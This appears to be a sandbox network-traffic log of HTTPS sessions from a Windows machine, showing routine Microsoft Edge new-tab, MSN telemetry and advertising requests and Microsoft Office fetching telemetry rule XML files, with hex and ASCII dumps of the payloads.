2024-11-27 10:14:52 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49920	104.117.182.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:52 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=212581 Expires: Fri, 29 Nov 2024 21:17:52 GMT Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close
2024-11-27 10:14:52 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49912	13.89.179.14	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732702487974&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1
2024-11-27 10:14:51 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 30 3a 31 34 3a 34 37 2e 39 37 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 31 35 36 30 31 33 62 2d 36 33 37 31 2d 34 62 36 35 2d 61 64 61 34 2d 30 66 38 30 32 64 34 66 34 32 62 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 34 34 38 39 30 32 34 31 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-27T10:14:47.970Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"6156013b-6371-4b65-ada4-0f802d4f42b8","epoch":"1448902414"},"app":{"locale
2024-11-27 10:14:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d15d35d66ae8412e8a73aa74f9c07e37&HASH=d15d&LV=202411&V=4&LU=1732702491955; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 10:14:51 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=24e8f41da48e43f28a0453999463f9b1; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 10:44:51 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3981 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 10:14:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101452Z-174f7845968xr5c2hC1EWRd0hn0000000dq0000000002z5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101452Z-174f7845968nxc96hC1EWRspw80000000wng000000000pfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:52 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:52 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101452Z-174f7845968kvnqxhC1EWRmf3g0000000ffg000000009ru2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:52 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:52 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101452Z-174f78459685726chC1EWRsnbg0000000wyg000000000e23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49928	108.139.47.33	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:53 UTC	1012	OUT	GET /b2?rn=1732702487977&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0DAD223ED34268AD13B3377AD2436971&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1456359a6fed16b37b23b161732702491; XID=1456359a6fed16b37b23b161732702491
2024-11-27 10:14:53 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 27 Nov 2024 10:14:53 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 80d5d65d27a0450c8f0018381b103d7a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: XVUn7y0-8WXu8Z8nosnK7r48LHRXuLDUcr1N2znJy0h8hTb06kuKTQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49927	20.75.60.91	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:53 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0DAD223ED34268AD13B3377AD2436971&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7fead450543041248e8c58dfe83c483b HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0DAD223ED34268AD13B3377AD2436971; _EDGE_S=F=1&SID=33C6E609C2976007070DF34DC3B56123; _EDGE_V=1
2024-11-27 10:14:53 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2754 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132600-T700343875-C128000000002116129+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116129+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 10:14:53 GMT Connection: close
2024-11-27 10:14:53 UTC	2754	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 61 6a 61 6d 61 20 4e 50 2c 20 42 6f 6c 69 76 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 61 6a 61 6d 61 2b 4e 61 74 69 6f Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Sajama NP, Bolivia\",\"cta\":\"https:\/\/www.bing.com\/search?q=Sajama+Natio

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:53 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 058c760e-201e-0051-7c6f-407340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101453Z-174f7845968glpgnhC1EWR7uec0000000x00000000003b96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:54 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:54 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:54 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101454Z-174f7845968g6hv8hC1EWR1v2n00000004r00000000054zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:54 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:54 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
